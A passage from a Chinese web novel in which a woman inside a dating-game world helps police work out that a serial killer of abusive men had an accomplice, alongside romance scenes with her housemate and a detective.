整个过程中,蒋俊驰都在有意调整两人的姿势和角度,还不时回头看向镜头,似乎是希望拍摄到的画面更清晰、全面,而沉浸在“温柔乡”里的女孩显然对这一切毫不知情。
接下来的几个视频内容几乎如出一辙,同样是酒店房间,主角同样是蒋俊驰,但里面的女孩都不是同一个人。
果然又是个渣男。
如果真的如程述推测的那样,凶手选择的目标是她认为伤害过女性的男人,那么蒋俊驰的“罪行”应该就是这些偷拍的视频。
可凶手为什么唯独对蒋俊豪表现出了与之前不同的愤怒?
祝好往周围看了一圈,眼前突然出现了一个闪烁的小放大镜,同时耳边响起“发现隐藏线索”的提示音。
隐藏线索又出现了!
她跟着放大镜的提示,抬脚走回那辆小轿车旁边,戴上手套把手伸进副驾驶和扶手盒中间的空隙,从里面摸出
了一颗白色的珍珠纽扣。
蒋俊驰的尸体已经被从驾驶座上转移下来,平放在塑料膜上,他身上穿的是带拉链的外套和卫衣,这颗纽扣显然不是从他身上掉落下来的,如果这是个隐藏线索,那就一定是凶手身上的。
头顶突然传来程述的声音:“这是什么?”
祝好示意他弯下身,把纽扣举到他眼前,低声在他耳边说:“老大,我刚才根据系统的提示找到了这颗扣子。”
“系统提示?”
“是一个隐藏功能。”祝好向他解释:“你还记得我之前在鬼屋发现的那个背包吗?还有李砚川酒吧的打火机、韩瑾房间床底下那一箱文件,都是因为触发了这个隐藏功能。”
“啧,你这外挂还挺有用。”程述把那颗纽扣拿在手中把玩片刻,转头朝秦聿风喊了句:“老秦,有发现,给我拿个证物袋。”
秦聿风走过来,从他手里接过纽扣,皱了皱眉:“在哪儿找到的?”
祝好实话实说:“就掉在座椅的空隙里,蒋俊驰身上的衣服没有缺纽扣,没准是凶手身上掉下来的。”
跟在秦聿风旁边的警员插了句话:“也不一定嘛,死者手机里的视频出现过那么多女性受害者,说明他这辆车应该也载过不少人,得一一核对过才能确定。”
祝好不知该怎么解释这个隐藏线索一定跟案情有关,只好点头表示同意他的看法。
“不过我们也可以先做个假设。”程述适时打了圆场:“现场的打斗痕迹很明显,说明他们曾经在车里发生过争执,那么他们争执的起因是什么呢?如果这个纽扣真的是从凶手身上掉下来的,或许就能解释凶手愤怒的原因了。”
他的话让祝好脑袋里打过一道闪:按照凶手往常的习惯,她会先把受害者带到某个地方,捆住他们的手脚后将塑料袋套在他们头上,亲眼看着他们窒息而死的痛苦表情。
可她这回既没有绑住蒋俊驰的手脚,也没有用塑料袋套住他的头,而是选择了与之前完全不一样的作案手法,会不会是因为事情并没有按照她的计划发展?
祝好整理好思绪,说出自己的猜想:“或许凶手本来跟蒋俊驰约好了去某个地方,打算到了地方之后再按之前的作案手法将蒋俊驰杀害。可蒋俊驰中途却改变主意,把车开到了这里,企图要对她进行侵害。”
按照旅馆老板的说法,凶手应该是个身材娇小的女性,男女之间的力量悬殊,在蒋俊驰没被控制住的情况下,她显然没办法挣脱。
程述点了点头:“这一切都在凶手的意料之外,她根本不知道要怎么应对这样的情况,只能拼命反抗,所以才会留下那么杂乱无章的现场。”
经过一番搏斗之后,或许凶手假意顺从、又或是以某种方法控制住了蒋俊驰,总之她还是伺机将他勒死,并且像之前几起案子一样割下他的生殖器扔在草丛中,又狠狠踩了几脚泄愤。
虽然桥下人迹罕至,但桥上还是会有车经过,凶手杀人后担心自己被发现,因此才慌乱逃跑,连高跟鞋掉了都来不及捡。
温珣起身接过话:“死者的指甲缝里确实有一些皮屑,不过也有可能是被勒住时抓挠自己脖子留下的,还得回去提取dna做比对。”
“那就辛苦你先把尸体打包带回去吧。”秦聿风把装进证物袋里的纽扣交给警员保管,拍了拍温珣的肩膀。
温珣点点头,吩咐助手把尸体装进裹尸袋里。
秦聿风又转头对程述说:“老程,你们也回去睡会儿吧,忙了一晚上了。”
“哟,难得你会心疼我,那我就恭敬不如从命了。”程述没有半点扭捏,转身就朝警戒线外走去。
祝好刚要跟他离开,却发现秦聿风眼睛下面有一圈连小麦色皮肤都遮不住的青灰——只让他们回去休息,可他自己明明也忙活了一整晚。这么连轴转,身体不会撑不住吗?
她忍不住问秦聿风:“那你呢?”
秦聿风把注意力从手里的手机转向她,嘴角无意识地弯起一个微笑:“我怎么了?”
“你不回去歇会儿吗?”
秦聿风愣了一下,朝她扬了扬手机:“蒋俊驰的朋友已经到警局了,我一会儿还要去和他谈谈,确认一下蒋俊驰昨晚的行程。”
祝好微微蹙眉:“可你连续那么久不休息,身体会累垮的。”
秦聿风笑了笑:“没关系,我都习惯了,下午没事的话我在办公室里眯一会儿就好。你们赶紧回去吧。”
祝好知道还有很多事情等着他处理,但现在自己能做的也只有养好精神,理清思路,早点把这个案子——或者说这个剧情任务给解决了,才能让秦聿风回去好好休息。
她没再多说什么,只是笑着朝秦聿风点点头,转身刚要走,却被他有些犹豫的声音叫住了。
“对了,祝好……今天早上在巷子里……”他话音一顿,捂着嘴轻咳了一声:“老鼠真的很多吗?”
祝好一时没反应过来,下意识顺着他的话回答:“满地都是,那个地方堆了很多厨余垃圾,老鼠都吃的油光水滑的,那么大一只,把我吓了一大跳。”
局促的表情一扫而空,秦聿风的状态明显松弛下来:“行,那没事了。”
系统突然弹出提示音:“跟秦聿风的好感度+5,获得50点积分!”
好感度提升了?祝好有些莫名其妙:“你怎么突然问这个?”
秦聿风干笑一声,打着哈哈说道:“没什么,就是随便问问。”
跟平时雷厉风行的模样不同,他躲闪的目光让祝好疑窦丛生,总觉得这或许不是他的真实想法,他的问题里应该还有别的意味。
祝好忽然想到路上程述说的话,难道刚才的那一幕真的激起了他所谓的胜负欲?
思及此,她决定验证一下,便用50积分在系统商城里兑换了魅力值,然后重新问出了刚才的问题:“秦聿风,你为什么突然问这个?”
秦聿风眸光微微闪动,像是不受控制地开口:“虽然我没什么立场,不过我还是很在意你跟其他人有那么亲密的举动……”
我勒个去,这就是传说中的雄竞修罗场吗!
如果这是某本小说的情节,祝好恨不得在地上打滚尖叫三百回,然而身为当事人,她不能表现得太明显,只好故作淡定地用力压下嘴角。
魅力值维持的时间很短,秦聿风话音一顿,猛地捂住自己的嘴,脖子和耳朵却清晰可见地红成一片,慌乱的眼神四处乱飘,语无伦次地解释:“我刚刚……我、我这嘴……”
不远处响起几声催促的喇叭给他的窘迫找到了出口,他赶紧侧过身避开祝好的目光,说道:“老程在催你了,你们赶紧回去吧,我、我先去忙了。”
祝好朝他笑了一下:“好,那我们晚点见。”
秦聿风胡乱点了点头,转身落荒而逃。
上了车,祝好终于难以自抑地笑了出来,用力拍了拍程
述的肩膀:“老大,你可真是我的好军师!”
程述眼角一抽,眼睛里温度瞬间冷了下来:“怎么,好感度又提升了?”
祝好重重点头,脸上乐开了花:“这招可真是太牛了,以后能不能牺牲你多跟我打配合?”
程述一愣,然后漫不经心地抬手挡住勾起的嘴角,淡淡地回答:“行吧。”
*
虽然还是白天,但奔波一整晚,又近距离接触了尸体,回到家后祝好还是先洗了个热水澡。
换好衣服从卫生间出来时,程述正在桌边给白眼狼开罐头,白眼狼急得嗷嗷直叫,围着他的腿不停转圈。
祝好问:“不是说要给它减肥吗?你怎么还喂它吃罐头。”
程述把罐头倒进碗里,用勺子搅碎,说道:“这是减脂罐头,比普通罐头贵多了。不喂它它就一直叫,叫得我头疼,烦死了。”
祝好撇了撇嘴:“是头疼还是心疼?”
程述没答话,把猫碗放在地上,白眼狼急不可耐地冲上前刚要开动,却发现今天的伙食跟平时吃的不一样,蹲在碗旁边朝程述投去一个抗议的眼神。
程述叹了口气:“别挑食,医生说了你再胖下去容易生病,到时候我可不会花钱给你治,赶紧吃。”
白眼狼并不领情,往地上一躺,露出肚皮,试图用撒娇的方式换取一个普通罐头。
祝好被他们逗乐了,揶揄道:“老大,你像白眼狼一样坦率一点不好吗?”
“坦率?”
祝好说:“嗯,你看它,喜欢就是喜欢,不喜欢就是不喜欢,不像你,明明就很宠它,却还要装作一副不在意的样子。”
程述倏地一愣,没有答话。他垂眼看着在地上翻肚皮撒娇的白眼狼,用低到几乎听不清的声音喃喃道:“是啊,坦率一点不好吗。”
“……可是它怎么就知道它不是在自作多情呢?”
第138章
躺进温暖的被窝里,祝好没多久就睡了过去。
连续一天一夜的奔波消耗了太多体力,她这一觉从中午睡到了傍晚。再睁开眼时,天色已经暗下来了。
祝好转头看向天窗外深蓝色的天空,不知怎么的,心里突然涌起强烈的孤独感,就好像此时此刻世界上只剩下她一个人,莫名的空虚和落寞萦绕在周围。
楼下隐隐传来声响,空气中飘来一丝香味,祝好的肚子“咕咕”叫了起来,刚才睡前她只潦草吃了几片面包充饥,此时被香味勾得口水都要流下来了,什么空虚落寞瞬间被抛之脑后。
她从被窝里爬出来,披上外套下楼来到客厅里,果然看到程述在厨房里忙碌的背影。
听到动静,程述回头看了她一眼:“醒了?”
她揉了揉眼睛:“你怎么不叫我起床?”
程述利落地把炒好的菜倒进盘子里:“本来打算做好饭叫你的,先去沙发上坐着等吧,马上就好了。”
祝好应了一声,拖着步子走向沙发,刚坐下来,放在茶几上的手机就突然震动起来。
是李砚川。
她接起电话,那头传来李砚川略带委屈的声音:“好好,你很久都没跟我联系了,最近是不是很忙?”
她看了下聊天记录,上一次跟李砚川发信息是一天前,他给祝好发了个搞笑的小猫视频,祝好忙里偷闲回了他一句“哈哈”,还配上了一个大笑的表情。
这对他来说已经是“很久”了吗?
祝好实话实说:“是挺忙的,我昨天一晚上都没睡呢。”
李砚川说:“那你要好好休息,別累坏了。”
“我知道,我刚刚补过觉了,才刚睡醒。”祝好打了个哈欠,看向厨房。
程述还在炒菜,看起来还需要等一会儿才能吃饭,于是她跟李砚川闲聊起来。
李砚川:“你傍晚才醒的吗?那醒来后你有没有感觉到莫名的失落?”
祝好仿佛找到了知己,连忙回答:“有。刚刚睡醒时看到天都已经黑了,觉得心里空落落的,好像被全世界抛弃了一样。”
“没错,我每次睡到傍晚醒来也会有这种感觉。”李砚川笑:“如果你以后睡醒——不,不只是醒来,你任何时候觉得不开心,都可以给我打电话。”
闲聊几句后,李砚川忽然说:“对了,好好,上回我不是跟你说了我有个朋友的咖啡店要开业了吗?刚好就是平安夜那天。如果你不忙,我们一起去好不好?”
祝好想了想,最近忙着过剧情任务,确实已经很久没跟李砚川见面了,好感度也一直停滞不前,便答应下来。
李砚川声音里带着笑意:“那我到时候去接你!”
祝好应了声好。
挂断电话前,她脑子里突然闪过最近的这几起连环杀人案。
虽然知道李砚川不会是凶手的目标,但她还是觉得有必要提醒两句,于是嘱咐道:“李砚川,你要注意安全,别随便跟其他女孩子搭话,知道吗?”
“你放心吧,好好,我不会跟其他女孩子搭话的,我只跟你一个人说话。”
李砚川显然曲解了她的意思,但不知怎么的,他的声音听起来很开心,祝好也就没再过多解释。
挂了电话,程述端着菜从厨房里出来,没头没脑地接过话茬:“远古时期人类白天打猎,傍晚早就已经和同伴一起回到聚集地了,你睡到现在才起来,基因里的本能让你觉得你掉队了,所以才会觉得失落。换句话说,这个点还不醒,你就要被野兽吃掉了。”
一句话就斩断了祝好莫名其妙的愁绪,她撇了撇嘴,走进厨房盛了两碗饭放在餐桌上。
程述今天做了炒排骨、清炒四季豆和酸辣汤,祝好迫不及待地夹起一块排骨放进碗里,刚要尝尝味道,就听到他漫不经心地问了句:“你喜欢这种黏人的?”
她大脑转了几秒钟,才反应过来他说的是李砚川。
李砚川有钱、专情,长得好看,就算是放在乙游里也是稀有生物,应该没人能拒绝吧?
至于喜不喜欢……祝好心里也没个准,毕竟母单了那么些年,她也说不清喜欢一个人究竟是什么感觉。
她摇摇头:“不知道,说不清。”
程述也没再追问,只说:“赶紧吃吧,待会菜要凉了。”
吃过饭,祝好起身收拾碗筷——这是她和程述之间一个不用约定的默契,谁做了饭,另一个人就要洗碗。
她把碗放进池子里,刚打开水龙头,程述却接过她手里的洗碗布说:“我来吧。”
祝好的一句“为什么”还没问出口,程述就回她:“你去给白眼狼喂罐头吧。”
语气淡淡,却透露着不容置疑。
行吧,既然他都这么说了,祝好也没再推脱,从冰箱里拿出白天剩下的半个罐头,加了点热水稀释,试了试温度后,倒进白眼狼的猫碗里。
白眼狼虽然对减脂罐头十分不满意,但发现抗议和撒娇都换不来自己爱吃普通罐头之后还是妥协了,略带嫌弃地大口吃起来。
难得今晚有空闲时间,刚刚又已经睡饱了,祝好这时候精神得很。
她靠在厨房门边问程述:“老大,你一会儿要干什么?”
“什么干什么?”
“你有什么计划吗?”
“没有。”
“那我们别老呆在屋里了,偶尔出去透透气吧。”
程述没吭声,低头认真把洗好的碗一个个擦干,看起来并没有要答应她的意思。
过了一会儿,他把最后一个碗放进消毒柜里,摁下开关,然后抽了张纸巾擦干手,说:“外套扣好,我带你去个地方。”
“去哪儿?”
“透气。”说完他从沙发上拿起自己的外套披在身上,转身往阁楼走。
上了两节台阶,发现祝好茫然地站在原地看着他,他不耐烦地催促:“愣着干嘛,上来。”
祝好一头雾水:“不是出去透气吗?上阁楼干什么。”
程述没回答,只说了句:“来了就知道了。”
阁楼是斜顶的,程述的身高走进去还得弯着身。他打开天窗,抓住窗框稍稍使力,倏地腾空而起钻出窗外,脚下踩着窗沿一蹬,身影就消失了。
这一系列操作看得祝好目瞪口呆,片刻后,一只手从窗外垂下来:“上来。”
祝好愣了一下,小心翼翼探出窗外,握住程述的手,学着他的样子踩住窗沿,程述一使力,把她拽了上去。
站稳后,祝好才发现原来斜顶上就是一方小平台。
在这里住了那么久,她还是第一次知道阁楼外面有这样一个地方。程述看起来轻车熟路的,显然不是第一次来了。
出神地在眼前的景色中沉溺了一会儿,她深吸了一口新鲜空气,紧了紧外套,转头问程述:“老大,你是怎么知道这儿的?”
程述双手插在口袋里,两条长腿垂在斜顶上:“我之前经常一个人坐在这里喝酒发呆。”
“那我怎么从来没看你上来过?”
程述
淡淡地瞥了她一眼,说:“来这儿唯一的路就是阁楼的天窗。”
祝好才堪堪反应过来,虽然同住一个屋檐下,但除了她喝醉和生病的时候要照顾她之外,程述几乎没再踏足阁楼一步,连需要从书架上拿什么书都是让她帮忙找出来。
这半年多时间,祝好已经逐渐习惯了这样的相处模式,跟他共处一室也从没觉得有任何不适或者不方便。
月霜铺满大地,也落在他们身上。这一方平台面积不大,祝好紧挨程述坐下。虽然空气冷冽,但她仍然能够感受到他身上源源不断散发出来的热量。
神使鬼差地,她忍不住转头看他,却蓦地对上了他的目光。两人齐刷刷各自调转了视线,凛冽的空气中多了一丝难以言说的局促。
雨夹雪过后,晴朗的天空是一片浓郁的深蓝色,其中还缀着些星光,稀疏零散,却格外明亮。
虽然只是五楼,但旧城区楼都不高,视野还算开阔,能看到远处街道上如织的灯光。
片刻后,祝好咳了一声,打破沉默:“对了,秦警官那边有什么消息了吗?”
程述挑了挑眉:“你是真的想知道,还是想缓解刚刚偷看我的尴尬?”
祝好瞪他:“谁看你了,别自作多情。”
他轻笑一声,没说什么,不过还是告诉祝好,警方询问了蒋俊驰的朋友,得知他确实是个偷拍的惯犯。不仅如此,他还经常把那些视频拿出来当成炫耀的资本,在几个朋友之间传播。
真是个渣男,祝好突然觉得他死得也不算太冤。
她提出猜测:“会不会是某个被他偷拍的女生干的?”
程述说:“视频里那些女性老秦他们都排查过了,所有人都有充分不在场证明。”
全部都排查过了?那工作量一定不小。秦聿风还说下午没事会在办公室眯会儿,看来也只是安慰祝好的话罢了。
祝好以前总觉得大禹治水三过家门而不入只是个故事,在接触了警察这一行之后,才发现他们一忙起来确实连回家的时间都没有。
程述意味不明地叹了声气:“难怪老秦单身那么久呢,就算真谈了恋爱他也没什么时间陪女朋友吧。”
“你怎么突然那么关心他?”
程述一本正经:“我是在关心你。”
祝好嗤了一声:“我又没说要和他谈恋爱。”
“哦,你的意思是撩拨完人家就不负责了?”程述似笑非笑的神情里带着一丝戏谑:“那你还真应该庆幸凶手的目标不是伤害男性感情的女性,否则你说不定也会成为她的作案目标之一。”
祝好朝他翻了个大大的白眼,同时又有些心虚,不得不承认他说得还有点道理。
但下一秒她又给自己找了个充分有合理的理由:这都是游戏的锅,她完全是被逼无奈!
这么一想,她又觉得心安理得许多。
默然片刻,程述又突然开口:“话说回来,等你们的好感度满了之后你要怎么办?丢下他们几个鳏夫自己回去逍遥快活吗?”
祝好不满地反驳他:“什么鳏夫,一我没和他们结婚,二我又没死。”
不过对于他的灵魂拷问,祝好一时竟不知道怎么回答。
她倒是没想过这个问题,这个游戏说是另一个真实的世界也不为过,而且它的机制就是加深人和人之间的牵绊,这就决定了祝好没办法以一个玩家的心态去面对这里的每一个人,不只是几个可攻略对象,也包括了程述、白眼狼,甚至是房东大妈。
她不敢说自己对原来的世界无牵无挂,但是在这儿呆了那么久,到了可以说再见的那天,她真的能潇洒地离开吗?
第139章
或许是因为天气渐冷,大部分人更愿意窝在家里取暖,周围安静得不像话。
程述环抱着胸,眼神空茫茫地落向前方,不知在想什么,祝好没话找话问他:“老大,你以前每次坐在这儿的时候都在想什么?”
“想着人为什么不能马上去死,而是要经历一大堆烦人的破事之后才能去死。”
他脸上是一贯的闲散,语气也懒洋洋的。
祝好只当他是嘴里跑车,嗤笑一声:“难不成你还想过要从这儿跳下去?”
程述点点头:“我还真的想过,不过最后还是打消了这个念头。”
祝好从他的声音里听出一丝少见的严肃,愣了一下才半开玩笑地接话:“你是担心这里会变成凶宅吗?”
“不是,我死都死了,变成凶宅关我什么事。”他耷着眼皮,面无表情地耸肩:“再说了,就算我变成鬼,也是只帅鬼。”
祝好刚想怼他两句,他突然话音一转,又变得认真起来:“只是一天没抓到指甲油杀手,我就一天没办法安心,想着就算要死,至少也得先把这件事情做完吧。不过也还有一种可能,我其实很懦弱,根本没有勇气跳下去。”
祝好有些惊讶,转头看着他。
跟程述认识那么久,真正有机会谈心的时间却不多。每次她以为即将敲开他的心房时,他总是倏地缩回冰冷坚硬的壳里。
可这一回,他却主动把自己打开了一条裂隙,不大,却足以让人窥探到他的内心。
她一时不知道怎么接话,程述也沉默着。
过了一会儿,祝好才试探性问了一句:“那现在呢?”
“嗯?”
祝好看了他一眼:“现在坐在这儿往下看的时候,你也还是觉得人生没什么意思、还是想跳下去吗?”
程述没吭声,垂眼看着自己悬在斜顶的脚尖。
稀薄的云层挡住了笼罩在他们身上的月光,昏暗的光线中,祝好看不清他的表情,去听到他一声微不可察的叹息。
她有些后悔刚刚那个未经思考就脱口而出的问题,毕竟程霜的死一直是他心头的一根刺。
或许当时启源老师的胡诌还真猜对了一部分——那些层层包裹着他的清高、懒散和满不在乎,只不过是为了掩饰某些不想展露出来的怯懦和脆弱。
祝好正出神,余光突然瞥见程述冷不丁欺身向前,她脑子一嗡,下意识扯住他的胳膊,使出力气揽住了他的上半身。
程述一时反应不及,整个人被惯性带倒、仰面躺在在那一方小小的平台上,四目相对时,他眼底闪过一丝错愕:“……你干什么?”
祝好气急败坏摁住他的肩膀:“我还想问你干什么呢,我就是随口一问,你不会真的要跳下去吧?”
程述愣了一下:“你有病吧,谁要跳下去了。”
“……”祝好愣怔片刻,脑袋终于重新开始运转:“那你怎么……突然往前探身?”
“我……”程述绷不住“噗嗤”笑出声:“我裤子上沾了点灰想拍一拍而已,诶,你脑子里都在想什么啊?为什么会觉得我要跳楼?”
祝好堪堪反应过来:刚刚那些思绪还在脑袋里盘桓,紧接着就看到他做出那样的举动,还没等大脑把这件事琢磨清楚,身体就先一步做出反应,把他给推倒了。
云雾散去,如霜的月光在程述脸上铺开。这样的距离,祝好能很清楚地看见他眼底倒映的月色,甚至能感觉到他灼热的气息扑在自己面颊上,把冷冽的空气都熏得微微有些发烫,禁不住有些晃神。
过了会儿,他抬起胳膊枕在后脑,要笑不笑地看着她:“所以你要趴在我身上到什么时候——我倒是不介意,就是担心你鱼塘里的鱼儿们会吃醋。”
祝好回过神,赶紧从他身上爬下来,重新调整回刚才的坐姿,若无其事地抬手遮住自己泛红的耳尖,心跳却无端乱了节奏。
奇怪,明明不是第一次跟他有这样的肢体接触,这莫名其妙的反应是要闹哪样?
程述撑住地面坐起来,拍了拍身上的灰,朝她伸出一只手:“走吧,该回去了。”
祝好低着头“嗯”了一声,握住他
的手,顺着斜顶小心翼翼踩在窗沿上,从天窗钻回阁楼。
看着她安全到达,程述很快也攀住窗沿三下五除二回到屋里。关上天窗后,不忘叮嘱她:“你腿那么短,可别一个人上去。”
祝好脱下外套挂在床边,朝他翻了个白眼:“是,你腿最长,比我命还长,行了吧?”
程述笑了笑没说话,转身要往门外走,刚掀起帘子,又突然顿住脚步:“对了,刚才的问题我还没有回答你。”
祝好一愣:“什么?”
他嘴角轻轻翘起:“现在我觉得人生好像还挺有意思的,值得我再活久一点。”
没等祝好弄清楚这个回答的含义,他就放下帘子,哼着小曲儿头也不回地下了楼,看着好像心情很不错。
*
翌日清晨,刚踏进警局,就撞见秦聿风拿着杯咖啡站在走廊里,正低头听着警员的汇报。
看到程述和祝好,他从警员手里接过文件袋,朝他们笑了笑:“来得正好,有发现。”
他昨晚应该补了一觉,脸色看起来好了不少。
祝好迫不及待问道:“是案子有什么新进展吗?”
秦聿风从口袋里掏出钥匙,打开办公室的门:“嗯,蒋俊驰遇害那天晚上的行踪出来了,那天他跟几个朋友一起去了酒吧,不过中途他的朋友有事先走了。那家酒吧的工作人员对他有印象,说他最后是跟一个女生一起离开的,听他们的描述,跟之前那两起案子的凶手十有八九是同一个人。”
程述从他手里拿过文件袋,抽出蒋俊驰朋友的证词扫了一眼,蹙眉道:“蒋俊驰昨晚去的不是禁果酒吧?”
秦聿风微微一愣,没明白他这个问题的重点:“怎么了吗?”
程述没回答,只是没头没脑地反问了一句:“你们派人在禁果酒吧周围蹲守了吧?”
秦聿风点头。
程述这才解释:“凶手之前一直在禁果酒吧寻找下手的目标,是因为那里对她来说是个熟悉且相对安全的地方,可她却突然换了选定受害者的场所,跳出了自己的舒适区,这对她来说是一个非常冒险的举动。”
祝好提出猜测:“你的意思是凶手变得更大胆了,还是说……之前的案子对她来说已经不够刺激了?”
程述沉吟片刻,摇了摇头:“也许凶手知道警方在调查她,为了避免被抓,才冒险改变了选择受害者的地点。”
那天警方前去调查时,禁果酒吧还没有开始营业,在场的只有内部工作人员。也就是说,那天他们很有可能已经跟凶手打过照面了。
祝好不解:“如果凶手是酒吧里的员工,难道其他人认不出来吗?”
程述没有回答他的疑问,手指一下一下叩击着桌面,不知在思考什么。
办公室的门被敲响,来人是温珣的法医助理,他拿出一沓文件递给秦聿风:“秦队,尸检结果出来了,温主任让我先给您送过来。”
秦聿风点点头,接过文件跟他道了声谢。
从温珣给出的尸检结果上看,蒋俊驰的药理化验结果呈阴性,说明他死前并没有被下药。他的颈部索沟皮下出血,舌骨骨折,环状软骨骨折,可以确定死因就是由于颈部被勒住造成的机械性窒息。
程述问:“凶器是什么?”
秦聿风翻了翻文件,说道:“温主任用几款不同的绳索跟他脖子上勒痕的印子做了对比,其中一款拖车绳的花纹和粗度都对上了。”
“拖车绳?”祝好凑到白板前仔细看了看现场勘查的照片,并没有在车里或是周围发现拖车绳的踪迹。凶手离开时甚至连高跟鞋都拉下了,更不可能带着一坨拖车绳逃跑。
那么拖车绳去了哪儿?难道被扔进河里了吗?还是说……
祝好忽然有了个猜测,她从白板上取下案发现场的照片,跟尸检报告一起摆在桌上。
根据尸检结果可以看出,蒋俊驰颈部的索沟在喉结下方,索沟呈圆环状,没有中断,方向略有倾斜,说明凶手是从他身后稍高的位置将他勒死的。
如果当时凶手坐在副驾驶,而蒋俊驰坐在驾驶座上,那他们应该是并排的,凶手又是如何在身材和体力都处于下风的情况下,从后上方勒住他的脖子?
还有就是,那天从旅馆出来,他们曾经讨论过凶手究竟是怎么把严睿的尸体运到抛尸地点的——她没有开走严睿的车,就说明她自己的车离得更近,可她又是如何得知严睿会带她来这儿,并提前把车停在附近的?
祝好心头微动,仿佛有什么思绪闪电般划过脑海,把各种零碎的线索和痕迹串联起来。
她看向程述,试探性问道:“老大,你是不是怀疑,凶手不止一个人?”
秦聿风有些愕然:“不止一个人?”
祝好点点头,说出自己的推测:“凶手如果只是一个身材娇小的女性,显然很难独自做到这些事,但如果她还有同伙,一切就合理了。”
——一个人负责把受害者引到房间里,使点小花招捆住他们的手脚、把他们杀死,另一个人则很有可能是酒吧里的员工,负责给她提供线索,配合完成抛尸。
程述不置可否地笑了笑,对秦聿风道:“老秦,找辆车,我们模拟还原一下蒋俊驰遇害那晚的案发过程。”
第140章
蒋俊驰驾驶的是一辆两厢的小轿车,秦聿风让警员找来一辆车型和内部结构与其差不多的警车停在警局院子里,把座位调到跟案发时一样的高度,开始模拟案发现场。
程述绕到车头前面,环抱着胸,说道:“根据蒋俊驰朋友的证词,那天晚上在酒吧里,他曾经把偷拍的视频拿出来跟朋友炫耀过,说不定凶手就是在那个时候盯上了他。”
秦聿风接过话:“在他的朋友离开后,凶手上前搭讪落单的蒋俊驰,想把他约到某处之后按之前的作案手法将他杀害。蒋俊驰本来就是个花花公子,还以为自己天降桃花,毫不犹豫就答应了,两人一起离开了酒吧。”
程述点点头:“凶手原以为这一回也会像之前一样顺利,可离开酒吧之后,蒋俊驰或许是想寻求刺激,或许是精虫上脑,总之看样子他并没有把车开到定好的地点,而是径直开到了桥洞下面,开始对凶手动手动脚。”
说到这儿,他朝着祝好抬了抬下巴:“祝好,你去扮演一下坐在副驾驶上的凶手吧。”
又来?
记忆里某个尴尬的场面从脑海中划过,祝好看了看周围的若干警员,正犹豫着要不要答应,就听到秦聿风主动请缨:“那我来扮演受害者吧。”
说着他拉开驾驶座的车门正要坐进去,却被程述一把薅住:“我来吧,不劳烦秦队了,你可是队长,还原案发过程还得靠你呢。”
秦聿风扒住车门没动:“演个受害者就不能还原了?亲身参与其中不是效果更好吗!”
程述很是坚持,一条腿越过秦聿风跨进车里:“不不不,还是我来吧。”
“我来我来。”秦聿风不甘示弱地抱住他的腿,差点儿把他掀翻在地。
真想不明白演个受害者有什么可争的,难不成戏瘾上来了?
祝好一脸黑线地看着他俩暗戳戳较劲儿,合理怀疑要不是有其他警员在场,他们没准会打起来。
她余光扫到旁边看热闹的保洁员大叔,发现他身材瘦小,甚至比自己还矮了半个头,跟旅馆老板描述的凶手身高差不多,于是走上前热情地发出邀请:“大叔,你能不能来帮个忙?”
热心的保洁大叔没有任何犹豫,把手里的扫把往墙边一靠,拍了拍手上的灰,乐呵呵地答应了:“可以啊,没问题,要怎么做?”
祝好指导他坐上副驾驶,吩咐道:“待会儿你跟着他们的指示做就行。”
确定了“凶手”的人选,祝好看向秦聿风和程述:“你俩到底谁扮演受害者?”
方才还在僵持不下的
两人忽然噤了声,面面相觑片刻,又不约而同地把视线转向别处。
秦聿风用手肘捅了捅程述:“老程,你上吧。”
程述扯了扯嘴角,干笑一声:“还是你去吧,亲身参与其中效果更好。”
真奇怪,明明刚才还争个不停,这回怎么又互相推脱起来了?
最终还是一名男警员默默承担了所有,在秦聿风的示意下扮演了受害者的角色。
演员终于到位,秦聿风清了清嗓,继续道:“当时四周无人,蒋俊驰从一开始试探性的接触演变成试图对坐在副驾驶上的凶手实施侵犯。凶手拼命挣扎,但由于身材娇小,两人力气悬殊,对身强力壮的蒋俊驰来说,她的反抗只是杯水车薪。”
根据他们推测出来的案发过程,尽职尽责的警员越过驾驶座,翻身压住了副驾驶上瘦小的保洁大叔。
保洁大叔没想到扮演凶手还有这样的戏份,脸上写满尴尬和不可置信,但还是配合地扭了扭身子,这幅场景惹来了一众警员的低声哄笑。
祝好暗暗感慨幸亏刚才自己没答应程述,否则现在尴尬的焦点可就是她了。
看保洁大叔小心翼翼不敢动,秦聿风把一根拖车绳扔给保他,说道:“大叔,您试试看能不能用绳子勒住他的脖子,尽管用力,不用担心伤着他。”
保洁大叔点点头,立刻入戏,双腿乱蹬,胳膊不停挥舞,尝试把手里的拖车绳缠在警员脖子上。
然而他根本不是警员的对手,胳膊刚抬起来就被警员制服了,整个人被压在副驾驶上动弹不得。
秦聿风站定在车前,看着车内的情景眉头紧锁:“在这样的情况下,凶手的确不可能有机会从身后将受害者勒死。”
有警员提出猜测:“会不会是凶手发现自己无法反抗后假意顺从,答应与受害者发生性关系,然后借机将他勒死?”
程述促狭一笑,语气里带着揶揄:“什么样的体位能让凶手从身后勒住受害者?”
警员一时哑然,磕磕巴巴给自己找补:“万一……凶手是在发生了关系之后才把他勒死的呢?”
祝好翻了翻手里的尸检结果,摇了摇头:“死者身上、包括他被割下来的生殖器并没有提取到任何属于其他人的体|液。”
几种其他的可能性都一一被排除,最后还是回到了之前推测上——假设凶手并非独身一人,她还有一个帮手。
程述示意警员和保洁大叔保持刚才的动作,打开驾驶座的门,用一根拖车绳从身后勒住警员的脖子。
两人力量相当,在警员毫无防备的情况下,程述轻松将他整个人掼在座椅上。
拖车绳被提前涂上了已清洗的油墨,在警员的脖子上留下了一圈环状的印子,由前往后逐渐往上倾斜,与蒋俊驰颈部索沟的形状一模一样。
由此可以推测出,这名同伙或许一开始并不在现场,而是在收到凶手发出的求救信号后才匆匆赶来,用自己车上的拖车绳从身后勒住试图侵犯凶手的蒋俊驰,直至他断了气。
这也就能解释,为什么警方没有在案发现场找到勒死受害者的凶器了。
看到蒋俊驰没了气息,凶手惊魂未定,同时又因为他刚才的行为怒不可遏,用提前准备好的刀具将他的生殖器割下来扔掉,并狠狠地踩了几脚发泄自己的怒气,然后跟同伙一起仓皇逃离了现场。
祝好问:“会不会是两名被男性伤害过的女性产生了共情,对道德败坏的男性感到憎恨和唾弃,因此决定联手将他们杀死?”
程述把绳子收起来,象征性地拍了拍警员的肩膀以示安慰,回答道:“其实女性杀手、特别是连环杀手的数量相对较少,并且大约一半的女性连环杀手都有一名男性同谋。”
秦聿风问:“你的意思是,凶手的同伙是一名男性吗?”
